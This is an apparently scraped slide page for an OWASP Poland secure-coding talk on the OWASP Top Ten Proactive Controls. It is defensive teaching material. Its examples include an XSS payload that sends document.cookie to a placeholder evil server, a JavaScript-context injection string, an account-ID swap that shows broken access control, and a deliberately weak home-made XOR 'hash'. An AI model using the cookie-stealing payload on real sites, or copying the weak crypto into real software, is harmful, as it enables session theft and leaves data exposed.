Ten Commandments of Secure
Coding
OWASP Top Ten Proactive Controls
Mateusz Olejarka
OWASP Poland
Mateusz Olejarka @molejarka
‱ Senior IT Security Consultant
@SecuRing
‱ Ex-developer
‱ OWASP Poland since 2011
OWASP
O = Open
‱ Docs & tools
– free
– Creative Commons license
– open source
‱ Build with open collaboration in mind
– Each one of you can join
3
OWASP Poland Chapter
‱ Since 2007
‱ Meetings: Kraków, PoznaƄ, Warszawa
‱ Free entry
‱ Supporters:
4Developers 2014* questionnaire
* SecuRing’s study „Praktyki wytwarzania bezpiecznego oprogramowania w
polskich firmach – 2014”
‱ 62% companies do not educate programmers on
application security
‱ >50% companies do not consider security during the
design stage
‱ 73% participants confirmed, that they fixed security
related issues
‱ only 42% confirmed, that they do security testing
before production deployment
OWASP Top10 Risk vs
OWASP Top10 Proactive Controls
Disclaimer
‱ Do not rely your application security on Top
10 *
– It is purely educational material
– Each application has its own risk profile
Thou shalt parametrize
queries
1: Parametrize queries
SQL/LDAP/XML/cmd/
-injection
Easily exploitable
‱ Simple to use tools exist
Devastating impact
ĆčrĂłdƂo: http://xkcd.com/327/
Best practices
#1 Prepared Statements /
Parametrized Queries
#2 Stored Procedures
– Watch for exeptions! (eval,dynamic block, etc.)
#3 Escaping
– risky!
String newName = request.getParameter("newName");
String id = request.getParameter("id");
PreparedStatement pstmt = con.prepareStatement("UPDATE EMPLOYEES
SET NAME = ? WHERE ID = ?");
pstmt.setString(1, newName);
pstmt.setString(2, id);
References
‱ Bobby Tables: A guide to preventing SQL
injection
‱ Query Parameterization Cheat Sheet
‱ SQL Injection Prevention Cheat Sheet
‱ OWASP Secure Coding Practices Quick
Reference Guide
2: Thou shalt encode data
2: Encode Data
XSS
‱ Site defacement
‱ Session hijacking
<script>document.body.innerHTML(“Jim was here”);</script>
<script>
var img = new Image();
img.src="http://<some evil server>.com?” + document.cookie;
</script>
Results of missing encoding
‱ Session hijacking
‱ Network scanning
‱ CSRF prevention bypass
‱ Site defacement (browser)
‱ 

‱ Browser hijack
– vide BeEF
Ten Commandments of Secure Coding
Cross Site Scripting
But when we write output inside pure JavaScript:
<script> var split='<bean:write name="transferFormId"
property="trn_recipient">'; splitRecipient(split); </script>
trn_recipient=';alert('xss');--
<script> var split='';alert('xss');--
Best practices
‱ Special character encoding has to be context
aware
– HTML element
– HTML attribute
– JavaScript
– JSON
– CSS / style
– URL
References
‱ XSS (Cross Site Scripting) Prevention Cheat
Sheet
‱ Java Encoder Project
‱ Microsoft .NET AntiXSS Library
‱ OWASP ESAPI
‱ Encoder Comparison Reference Project
Thou shalt validate all inputs
3: Validate All Inputs
Why validate anything?
‱ Most of other vulnerabilities (np. injections,
xss, 
) occurs (also) from missing input
validation
‱ Validation it is like firewall
– Do not protects you agains everything
– 
but nice to have
Best practices
‱ Prefer whitelist over blacklist approach,
‱ Use strongly typed fields
– One validator per one data type
– Easier to integrate a WAF
‱ Validation = first line of defence
– For exaple type casting prevents injection
– But not the only one!
References
‱ Input Validation Cheat Sheet
‱ Apache Commons Validator
‱ OWASP JSON Sanitizer Project
‱ OWASP Java HTML Sanitizer Project
‱ Google Caja
Thou shalt implement
appropriate access controls
4: Implement Appropriate Access
Controls
Account history
HTTP request
GET /services/history/account/85101022350445200448009906 HTTP/1.1
SA-DeviceId: 940109f08ba56a89
SA-SessionId: 826175
Accept: application/json
Host: acc
Connection: Keep-Alive
User-Agent: Apache-HttpClient/UNAVAILABLE (java 1.4)
GET /services/history/account/45101022350445200448005388 HTTP/1.1
SA-DeviceId: 940109f08ba56a89
SA-SessionId: 826175
Accept: application/json
Host: acc
Connection: Keep-Alive
User-Agent: Apache-HttpClient/UNAVAILABLE (java 1.4)
Account id change – we get other user data
Best practices
‱ Server makes a final call!
‱ Default deny
‱ All request must go through access controll
– centralized, easy to use mechanism
‱ Access control rules (policy) should be
separated from code
– Not a part of it
if (currentUser.hasRole(“administrator”)) {
//pozwol
} else {
//zabron
}
If (currentUser.isPermitted(printPermission)) {
//pozwol
} else {
//zabron
}
References
‱ Access Control Cheat Sheet
‱ Java Authorization Guide with Apache Shiro
– Apache Shiro Authorization features
‱ OWASP PHPRBAC Project
Thou shalt establish identity
and authentication controls
5: Establish Identity and
Authentication Controls
Example vulnerability
‱ Authentication with locally stored key (on the
machine)
‱ Process:
1. Enter login
2. Select key file,enter key password
3. We are logged in
https://...../GenerateNewKey
Best practices
‱ Check access control for the functions
allowing to change authentication credentials
‱ „chain of trust” rule
‱ Watch for session at the border!
‱ Do not limit length and characters to use in
password
References
‱ Authentication Cheat Sheet
‱ Password Storage Cheat Sheet
‱ Forgot Password Cheat Sheet
‱ Session Management Cheat Sheet
Thou shalt protect data and
privacy
6: Protect Data and Privacy
Example (at transit)
‱ SSL covers encryption and authentication
‱ What verifies servers identity?
– Web applications: Browser
– Mobile / thick-client / embedded
 application:
Application
‱ Common errors
– Missing certificate validation
– Brak sprawdzenia certyfikatu lub „ƂaƄcucha zaufania”
– Missing exception handling
Best practices (in transit)
‱ TLS
‱ For whole application
‱ Cookies: „Secure” flag
‱ HTTP Strict Transport Security
‱ Strong cipher suites
‱ Chain of trust
‱ Certificate pinning
References (in transit)
‱ Transport Layer Protection Cheat Sheet
‱ Pinning Cheat Sheet
‱ OWASP O-Saft (SSL Audit for Testers)
Example (at rest)
‱ Storing password
‱ „Own” SHA1 function
public static String encrypt(byte [] in)
{
String out = "";
for(int i = 0; i < in.length; i++)
{
byte b = (byte)(in[i] ^ key[i%key.length]);
out += "" + hexDigit[(b & 0xf0)>>4] + hexDigit[b & 0x0f];
} return out;
}
Best practices(at rest)
‱ Do not reinwent the wheel!
– Home-bred ciphers are evil
– Own crypto is evil
– Only libraries with reputation!
‱ Strong ciphers in strong modes
– ECB is evil
– CBC – watch for „padding oracle”
‱ Good RNG for IV
References
‱ Google KeyCzar
‱ Cryptographic Storage Cheat Sheet
‱ Password Storage Cheat Sheet
Thou shalt implement logging,
error handling and intrusion
detection
7: Implement Logging, Error
Handling and Intrusion Detection
References
‱ Logging Cheat Sheet
‱ OWASP AppSensor Project
Thou shalt leverage security
features of frameworks and
security libraries
8: Leverage Security Features of
Frameworks and Security Libraries
Refenences
‱ PHP Security Cheat Sheet
‱ .NET Security Cheat Sheet
‱ Spring Security
‱ Apache Shiro
‱ OWASP Dependency Check / Track
Thou shalt include security-
specific requirements
9: Include Security-Specific
Requirements
Building requirements
‱ Attack scenatios
– How threats can reach the objectives?
– Requires experience and expertise
‱ Selection of security controls ==
REQUIREMENTS
Threat Results
Attack
scenarios
Who? How? What?
References
‱ OWASP Application Security Verification
Standard Project
‱ Software Assurance Maturity Model
‱ Business Logic Security Cheat Sheet
‱ Testing for business logic (OWASP-BL-001)
Thou shalt design and
architect security in
10: Design and Architect Security In
References
‱ Software Assurance Maturity Model
(OpenSAMM)
‱ Application Security Verification Standard
Project
‱ Application Security Architecture Cheat Sheet
‱ Attack Surface Analysis Cheat Sheet
‱ Threat Modeling Cheat Sheet
Summary
That was just the Top Ten!
‱ Each application is different
– Risk profile should be defined (WHO? WHY?)
– Consider „compliance with existing regulations”
‱ Few easy steps with big positive impact
‱ Developers education is worth it!
OWASP meetings
‱ https://www.owasp.org/index.php/Poland
‱ Mailing list
‱ Facebook: OWASP Poland Local Chapter
‱ Twitter: @owasppoland
Thank you!
Mateusz Olejarka
@molejarka
mateusz.olejarka@owasp.org

More Related Content

PPTX
Security Testing - Zap It
PDF
Security Testing using ZAP in SFDC
PDF
Security Automation using ZAP
PDF
Security DevOps - Free pentesters' time to focus on high-hanging fruits // Ha...
PPTX
The OWASP Zed Attack Proxy
PPTX
Security Code Review 101
PPTX
Zap vs burp
PDF
Zed Attack Proxy (ZAP)
Security Testing - Zap It
Security Testing using ZAP in SFDC
Security Automation using ZAP
Security DevOps - Free pentesters' time to focus on high-hanging fruits // Ha...
The OWASP Zed Attack Proxy
Security Code Review 101
Zap vs burp
Zed Attack Proxy (ZAP)

What's hot (20)

PPTX
Zed attack proxy [ What is ZAP(Zed Attack Proxy)? ]
PPTX
Learn to pen-test with OWASP ZAP
PPTX
Java Secure Coding Practices
PDF
Web security and OWASP
ODP
2014 ZAP Workshop 2: Contexts and Fuzzing
PPTX
Devouring Security Insufficient data validation risks Cross Site Scripting
PPTX
Software Development in the Age of Breaches
PDF
PPTX
Owasp Top 10 - A1 Injection
PDF
OWASP Portland - OWASP Top 10 For JavaScript Developers
ODP
OWASP 2013 APPSEC USA Talk - OWASP ZAP
ODP
Practical Security Testing for Developers using OWASP ZAP at Dot Net Bangalor...
ODP
OWASP Zed Attack Proxy Demonstration - OWASP Bangalore Nov 22 2014
PPTX
Spa Secure Coding Guide
PDF
Security in practice with Java EE 6 and GlassFish
PDF
How to avoid top 10 security risks in Java EE applications and how to avoid them
PDF
OWASP London - So you thought you were safe using AngularJS.. Think again!
ODP
BSides Manchester 2014 ZAP Advanced Features
PPTX
Owasp & Asp.Net
PDF
Secure code
Zed attack proxy [ What is ZAP(Zed Attack Proxy)? ]
Learn to pen-test with OWASP ZAP
Java Secure Coding Practices
Web security and OWASP
2014 ZAP Workshop 2: Contexts and Fuzzing
Devouring Security Insufficient data validation risks Cross Site Scripting
Software Development in the Age of Breaches
Owasp Top 10 - A1 Injection
OWASP Portland - OWASP Top 10 For JavaScript Developers
OWASP 2013 APPSEC USA Talk - OWASP ZAP
Practical Security Testing for Developers using OWASP ZAP at Dot Net Bangalor...
OWASP Zed Attack Proxy Demonstration - OWASP Bangalore Nov 22 2014
Spa Secure Coding Guide
Security in practice with Java EE 6 and GlassFish
How to avoid top 10 security risks in Java EE applications and how to avoid them
OWASP London - So you thought you were safe using AngularJS.. Think again!
BSides Manchester 2014 ZAP Advanced Features
Owasp & Asp.Net
Secure code
Ad

Similar to Ten Commandments of Secure Coding (20)

PDF
we45 DEFCON Workshop - Building AppSec Automation with Python
PDF
AppSec in an Agile World
PPT
Top Ten Proactive Web Security Controls v5
PPTX
Alexey Sintsov- SDLC - try me to implement
PDF
OWASP Top 10 Proactive Controls 2016 - NorthEast PHP 2017
PDF
OWASP Top 10 Proactive Controls 2016 - PHP Québec August 2017
PPTX
security misconfigurations
PDF
stackconf 2024 | How to hack and defend (your) open source by Roman Zhukov.pdf
PPTX
Owasp top10salesforce
PPTX
Vulnerabilities in modern web applications
PPTX
Java application security the hard way - a workshop for the serious developer
PPT
OWASP Top 10 Security Vulnerabilities, and Securing them with Oracle ADF
PPTX
Securing your web apps now
PPTX
BSIDES-PR Keynote Hunting for Bad Guys
PDF
Threat Modeling the CI/CD Pipeline to Improve Software Supply Chain Security ...
PDF
AppSec Tel Aviv - OWASP Top 10 For JavaScript Developers
PDF
OWASP Top 10 Web Vulnerabilities from DCC 04/14
PDF
SecurityBSides London - Agnitio: it's static analysis but not as we know it
PDF
Do you lose sleep at night?
PPTX
Thick client pentesting_the-hackers_meetup_version1.0pptx
we45 DEFCON Workshop - Building AppSec Automation with Python
AppSec in an Agile World
Top Ten Proactive Web Security Controls v5
Alexey Sintsov- SDLC - try me to implement
OWASP Top 10 Proactive Controls 2016 - NorthEast PHP 2017
OWASP Top 10 Proactive Controls 2016 - PHP Québec August 2017
security misconfigurations
stackconf 2024 | How to hack and defend (your) open source by Roman Zhukov.pdf
Owasp top10salesforce
Vulnerabilities in modern web applications
Java application security the hard way - a workshop for the serious developer
OWASP Top 10 Security Vulnerabilities, and Securing them with Oracle ADF
Securing your web apps now
BSIDES-PR Keynote Hunting for Bad Guys
Threat Modeling the CI/CD Pipeline to Improve Software Supply Chain Security ...
AppSec Tel Aviv - OWASP Top 10 For JavaScript Developers
OWASP Top 10 Web Vulnerabilities from DCC 04/14
SecurityBSides London - Agnitio: it's static analysis but not as we know it
Do you lose sleep at night?
Thick client pentesting_the-hackers_meetup_version1.0pptx
Ad

Recently uploaded (20)

PPTX
Human Computer Interaction lecture Chapter 2.pptx
PPTX
WJQSJXNAZJVCVSAXJHBZKSJXKJKXJSBHJBJEHHJB
PDF
Bright VPN Crack Free Download (Latest 2025)
PPTX
DevOpsDays Halifax 2025 - Building 10x Organizations Using Modern Productivit...
PPTX
Lecture 5 Software Requirement Engineering
PDF
Odoo Construction Management System by CandidRoot
PDF
What Makes a Great Data Visualization Consulting Service.pdf
PDF
Streamlining Project Management in Microsoft Project, Planner, and Teams with...
PDF
Top 10 Project Management Software for Small Teams in 2025.pdf
PPTX
A Spider Diagram, also known as a Radial Diagram or Mind Map.
PPTX
Why 2025 Is the Best Year to Hire Software Developers in India
PPTX
Swiggy API Scraping A Comprehensive Guide on Data Sets and Applications.pptx
PDF
infoteam HELLAS company profile 2025 presentation
PDF
CapCut PRO for PC Crack New Download (Fully Activated 2025)
PPTX
Post-Migration Optimization Playbook: Getting the Most Out of Your New Adobe ...
PDF
Cloud Native Aachen Meetup - Aug 21, 2025
PPTX
HackYourBrain__UtrechtJUG__11092025.pptx
PDF
AI-Powered Fuzz Testing: The Future of QA
PDF
Mobile App Backend Development with WordPress REST API: The Complete eBook
PDF
SOFTWARE ENGINEERING Software Engineering (3rd Edition) by K.K. Aggarwal & Yo...
Human Computer Interaction lecture Chapter 2.pptx
WJQSJXNAZJVCVSAXJHBZKSJXKJKXJSBHJBJEHHJB
Bright VPN Crack Free Download (Latest 2025)
DevOpsDays Halifax 2025 - Building 10x Organizations Using Modern Productivit...
Lecture 5 Software Requirement Engineering
Odoo Construction Management System by CandidRoot
What Makes a Great Data Visualization Consulting Service.pdf
Streamlining Project Management in Microsoft Project, Planner, and Teams with...
Top 10 Project Management Software for Small Teams in 2025.pdf
A Spider Diagram, also known as a Radial Diagram or Mind Map.
Why 2025 Is the Best Year to Hire Software Developers in India
Swiggy API Scraping A Comprehensive Guide on Data Sets and Applications.pptx
infoteam HELLAS company profile 2025 presentation
CapCut PRO for PC Crack New Download (Fully Activated 2025)
Post-Migration Optimization Playbook: Getting the Most Out of Your New Adobe ...
Cloud Native Aachen Meetup - Aug 21, 2025
HackYourBrain__UtrechtJUG__11092025.pptx
AI-Powered Fuzz Testing: The Future of QA
Mobile App Backend Development with WordPress REST API: The Complete eBook
SOFTWARE ENGINEERING Software Engineering (3rd Edition) by K.K. Aggarwal & Yo...

Ten Commandments of Secure Coding

  • 1. Ten Commandments of Secure Coding OWASP Top Ten Proactive Controls Mateusz Olejarka OWASP Poland
  • 2. Mateusz Olejarka @molejarka ‱ Senior IT Security Consultant @SecuRing ‱ Ex-developer ‱ OWASP Poland since 2011
  • 3. OWASP O = Open ‱ Docs & tools – free – Creative Commons license – open source ‱ Build with open collaboration in mind – Each one of you can join 3
  • 4. OWASP Poland Chapter ‱ Since 2007 ‱ Meetings: KrakĂłw, PoznaƄ, Warszawa ‱ Free entry ‱ Supporters:
  • 5. 4Developers 2014* questionnaire * SecuRing’s study „Praktyki wytwarzania bezpiecznego oprogramowania w polskich firmach – 2014” ‱ 62% companies do not educate programmers on application security ‱ >50% companies do not consider security during the design stage ‱ 73% participants confirmed, that they fixed security related issues ‱ only 42% confirmed, that they do security testing before production deployment
  • 6. OWASP Top10 Risk vs OWASP Top10 Proactive Controls
  • 7. Disclaimer ‱ Do not rely your application security on Top 10 * – It is purely educational material – Each application has its own risk profile
  • 8. Thou shalt parametrize queries 1: Parametrize queries
  • 9. SQL/LDAP/XML/cmd/
-injection Easily exploitable ‱ Simple to use tools exist Devastating impact ĆčrĂłdƂo: http://xkcd.com/327/
  • 10. Best practices #1 Prepared Statements / Parametrized Queries #2 Stored Procedures – Watch for exeptions! (eval,dynamic block, etc.) #3 Escaping – risky! String newName = request.getParameter("newName"); String id = request.getParameter("id"); PreparedStatement pstmt = con.prepareStatement("UPDATE EMPLOYEES SET NAME = ? WHERE ID = ?"); pstmt.setString(1, newName); pstmt.setString(2, id);
  • 11. References ‱ Bobby Tables: A guide to preventing SQL injection ‱ Query Parameterization Cheat Sheet ‱ SQL Injection Prevention Cheat Sheet ‱ OWASP Secure Coding Practices Quick Reference Guide
  • 12. 2: Thou shalt encode data 2: Encode Data
  • 13. XSS ‱ Site defacement ‱ Session hijacking <script>document.body.innerHTML(“Jim was here”);</script> <script> var img = new Image(); img.src="http://<some evil server>.com?” + document.cookie; </script>
  • 14. Results of missing encoding ‱ Session hijacking ‱ Network scanning ‱ CSRF prevention bypass ‱ Site defacement (browser) ‱ 
 ‱ Browser hijack – vide BeEF
  • 16. Cross Site Scripting But when we write output inside pure JavaScript: <script> var split='<bean:write name="transferFormId" property="trn_recipient">'; splitRecipient(split); </script> trn_recipient=';alert('xss');-- <script> var split='';alert('xss');--
  • 17. Best practices ‱ Special character encoding has to be context aware – HTML element – HTML attribute – JavaScript – JSON – CSS / style – URL
  • 18. References ‱ XSS (Cross Site Scripting) Prevention Cheat Sheet ‱ Java Encoder Project ‱ Microsoft .NET AntiXSS Library ‱ OWASP ESAPI ‱ Encoder Comparison Reference Project
  • 19. Thou shalt validate all inputs 3: Validate All Inputs
  • 20. Why validate anything? ‱ Most of other vulnerabilities (np. injections, xss, 
) occurs (also) from missing input validation ‱ Validation it is like firewall – Do not protects you agains everything – 
but nice to have
  • 21. Best practices ‱ Prefer whitelist over blacklist approach, ‱ Use strongly typed fields – One validator per one data type – Easier to integrate a WAF ‱ Validation = first line of defence – For exaple type casting prevents injection – But not the only one!
  • 22. References ‱ Input Validation Cheat Sheet ‱ Apache Commons Validator ‱ OWASP JSON Sanitizer Project ‱ OWASP Java HTML Sanitizer Project ‱ Google Caja
  • 23. Thou shalt implement appropriate access controls 4: Implement Appropriate Access Controls
  • 25. HTTP request GET /services/history/account/85101022350445200448009906 HTTP/1.1 SA-DeviceId: 940109f08ba56a89 SA-SessionId: 826175 Accept: application/json Host: acc Connection: Keep-Alive User-Agent: Apache-HttpClient/UNAVAILABLE (java 1.4) GET /services/history/account/45101022350445200448005388 HTTP/1.1 SA-DeviceId: 940109f08ba56a89 SA-SessionId: 826175 Accept: application/json Host: acc Connection: Keep-Alive User-Agent: Apache-HttpClient/UNAVAILABLE (java 1.4) Account id change – we get other user data
  • 26. Best practices ‱ Server makes a final call! ‱ Default deny ‱ All request must go through access controll – centralized, easy to use mechanism ‱ Access control rules (policy) should be separated from code – Not a part of it
  • 27. if (currentUser.hasRole(“administrator”)) { //pozwol } else { //zabron } If (currentUser.isPermitted(printPermission)) { //pozwol } else { //zabron }
  • 28. References ‱ Access Control Cheat Sheet ‱ Java Authorization Guide with Apache Shiro – Apache Shiro Authorization features ‱ OWASP PHPRBAC Project
  • 29. Thou shalt establish identity and authentication controls 5: Establish Identity and Authentication Controls
  • 30. Example vulnerability ‱ Authentication with locally stored key (on the machine) ‱ Process: 1. Enter login 2. Select key file,enter key password 3. We are logged in https://...../GenerateNewKey
  • 31. Best practices ‱ Check access control for the functions allowing to change authentication credentials ‱ „chain of trust” rule ‱ Watch for session at the border! ‱ Do not limit length and characters to use in password
  • 32. References ‱ Authentication Cheat Sheet ‱ Password Storage Cheat Sheet ‱ Forgot Password Cheat Sheet ‱ Session Management Cheat Sheet
  • 33. Thou shalt protect data and privacy 6: Protect Data and Privacy
  • 34. Example (at transit) ‱ SSL covers encryption and authentication ‱ What verifies servers identity? – Web applications: Browser – Mobile / thick-client / embedded
 application: Application ‱ Common errors – Missing certificate validation – Brak sprawdzenia certyfikatu lub „ƂaƄcucha zaufania” – Missing exception handling
  • 35. Best practices (in transit) ‱ TLS ‱ For whole application ‱ Cookies: „Secure” flag ‱ HTTP Strict Transport Security ‱ Strong cipher suites ‱ Chain of trust ‱ Certificate pinning
  • 36. References (in transit) ‱ Transport Layer Protection Cheat Sheet ‱ Pinning Cheat Sheet ‱ OWASP O-Saft (SSL Audit for Testers)
  • 37. Example (at rest) ‱ Storing password ‱ „Own” SHA1 function public static String encrypt(byte [] in) { String out = ""; for(int i = 0; i < in.length; i++) { byte b = (byte)(in[i] ^ key[i%key.length]); out += "" + hexDigit[(b & 0xf0)>>4] + hexDigit[b & 0x0f]; } return out; }
  • 38. Best practices(at rest) ‱ Do not reinwent the wheel! – Home-bred ciphers are evil – Own crypto is evil – Only libraries with reputation! ‱ Strong ciphers in strong modes – ECB is evil – CBC – watch for „padding oracle” ‱ Good RNG for IV
  • 39. References ‱ Google KeyCzar ‱ Cryptographic Storage Cheat Sheet ‱ Password Storage Cheat Sheet
  • 40. Thou shalt implement logging, error handling and intrusion detection 7: Implement Logging, Error Handling and Intrusion Detection
  • 41. References ‱ Logging Cheat Sheet ‱ OWASP AppSensor Project
  • 42. Thou shalt leverage security features of frameworks and security libraries 8: Leverage Security Features of Frameworks and Security Libraries
  • 43. Refenences ‱ PHP Security Cheat Sheet ‱ .NET Security Cheat Sheet ‱ Spring Security ‱ Apache Shiro ‱ OWASP Dependency Check / Track
  • 44. Thou shalt include security- specific requirements 9: Include Security-Specific Requirements
  • 45. Building requirements ‱ Attack scenatios – How threats can reach the objectives? – Requires experience and expertise ‱ Selection of security controls == REQUIREMENTS Threat Results Attack scenarios Who? How? What?
  • 46. References ‱ OWASP Application Security Verification Standard Project ‱ Software Assurance Maturity Model ‱ Business Logic Security Cheat Sheet ‱ Testing for business logic (OWASP-BL-001)
  • 47. Thou shalt design and architect security in 10: Design and Architect Security In
  • 48. References ‱ Software Assurance Maturity Model (OpenSAMM) ‱ Application Security Verification Standard Project ‱ Application Security Architecture Cheat Sheet ‱ Attack Surface Analysis Cheat Sheet ‱ Threat Modeling Cheat Sheet
  • 50. That was just the Top Ten! ‱ Each application is different – Risk profile should be defined (WHO? WHY?) – Consider „compliance with existing regulations” ‱ Few easy steps with big positive impact ‱ Developers education is worth it!
  • 51. OWASP meetings ‱ https://www.owasp.org/index.php/Poland ‱ Mailing list ‱ Facebook: OWASP Poland Local Chapter ‱ Twitter: @owasppoland